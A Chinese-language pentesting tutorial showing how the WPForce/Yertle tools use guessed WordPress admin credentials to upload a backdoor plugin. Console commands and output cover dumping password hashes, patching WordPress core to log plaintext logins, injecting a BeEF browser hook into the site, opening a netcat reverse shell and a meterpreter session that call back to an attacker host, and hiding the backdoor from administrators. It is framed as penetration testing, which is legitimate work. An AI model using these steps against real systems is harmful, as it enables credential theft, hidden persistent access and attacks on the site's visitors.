导语:在渗透测试过程中,我们可能会遇到运行WordPress的Web服务器。虽然Web服务器上的大多数WordPress服务器都配置了强大的密码和安全插件,但内部网络很少出现这种情况。
在渗透测试过程中,我们可能会遇到运行WordPress的Web服务器。虽然Web服务器上的大多数WordPress服务器都配置了强大的密码和安全插件,但内部网络很少出现这种情况。因此,攻击者经常可以在过时的WordPress版本中找到漏洞,或者就是简单地对管理密码进行猜测。一旦攻击者猜到管理密码,就可以对其他系统进行攻击。除了特权提升之外,还可以使用WordPress本身对客户端发起一些其他攻击。
为了方便测试,我们将使用自己开发的用于测试WordPress的工具——WPForce。WPForce和WPScan相比,具有以下2个优点:
1.与WPScan不同,WPScan会再次执行WordPress的登录页面;
2.WPForce会使用经过身份验证的API调用来测试登录凭据的有效性:
识别有效的登录凭据后,WPForce套件——Yertle中的配套脚本可用于将后门上传到WordPress服务器上并执行多个后期开发模块。运行Yertle比较简单,只需提供URL,用户名,密码和后门类型即可。虽然有两种类型的后门可供上传,但我们更喜欢-interactive选项:
一旦我们开始运行脚本,WPForce就将登录到WordPress站点并上传一个插件。也就是说,我们只需要提供-e参数并上传目录名称,就可以随时访问这个后门:
这个插件就会采取类似于SQLmap的os-shell的命令,要查看可用的模块,可以输入“help”或“?”:
os-shell> help Core Commands ============= Command Description ------- ----------- ? Help menu beef Injects a BeEF hook into website exit Terminate the session hashdump Dumps all WordPress password hashes help Help menu keylogger Patches WordPress core to log plaintext credentials keylog Displays keylog file meterpreter Executes a PHP meterpreter stager to connect to metasploit quit Terminate the session shell Sends a TCP reverse shell to a netcat listener stealth Hides Yertle from the plugins page
我们可以运行的一个有用的后期开发模块是hashdump,hashdump会登录SQL数据库,查询包含密码的哈希值,并返回输出。然后,我们可以破解这些散列,并开始尝试使用这些登录凭证攻击其他系统:
os-shell> hashdump ID: 1 - Username: admin Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1 Email: [email protected] ID: 2 - Username: wpuser Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S. Email: [email protected] ID: 3 - Username: n00py Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/. Email: [email protected] os-shell>
不仅可以收集散列,还可以收集明文凭证。通过在WordPress核心中修补PHP文件,我们可以在用户认证时以明文形式记录所有密码:
os-shell> keylogger This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file. os-shell>
经过警告后,用户将会对WordPress核心进行修改,验证功能将被修补:
等待用户登录后,我们可以通过键入“keylog”来查看日志文件来查看明文凭据:
os-shell> keylog 2017-03-30 - Username: && Password: 2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword
除了查看登录凭据外,我们还可以利用BeEF控制目标主机的浏览器, Beef目前欧美最流行的WEB框架攻击平台,全称:The Browser Exploitation Framework Project. Beef利用简单的XSS漏洞,通过一段编写好的JavaScript(hook.js)控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网:
os-shell> beef This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y IP Address: 10.0.1.16 BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times.
注入hook后,我们只需要等待用户浏览网站即可,一旦用户浏览网站,这些网站就立马被hook了。接下来,我们就可以发送任何我们想要的JavaScript有效载荷, BeEF包含可以针对客户端启动的大量攻击:
有效载荷在客户端的浏览器中执行:
与这些模块一样有用的还有另一种类型的shell,这时我们有两个选项可供选择:常规的反向TCP shell和一个被PHP篡改的shell。要升级到完全交互的shell,只需运行:
os-shell> shell IP Address: 10.0.1.4 Port: 8080 Sending reverse shell to 10.0.1.4 port 8080 os-shell>
并在所选端口上进行监控:
[email protected]:~/WPForce$ nc -l 8080 bash: no job control in this shell [email protected]:/var/www/wordpress/wp-content/plugins/aekpmsu$
如果我们想要一个更换shell,可以加载metasploit并运行:
os-shell> meterpreter IP Address: 10.0.1.4 Port: 4444 Sending meterpreter stager to connect back to 10.0.1.4:4444 os-shell>
并在metasploit内接收更换:
[*] Started reverse handler on 10.0.1.4:4444 [*] Starting the payload handler... [*] Sending stage (33068 bytes) to 10.0.1.21 [*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600
最后,使用WPForce时,有几种方法可以使这个检测工具更加隐蔽。默认情况下,该模块将其自身注册为WordPress中的插件,此插件对管理员来说是可见的:
要让后门从插件屏幕中“消失”,只需简单的运行命令“隐形”,隐形后,后门仍然可以访问:
os-shell> stealth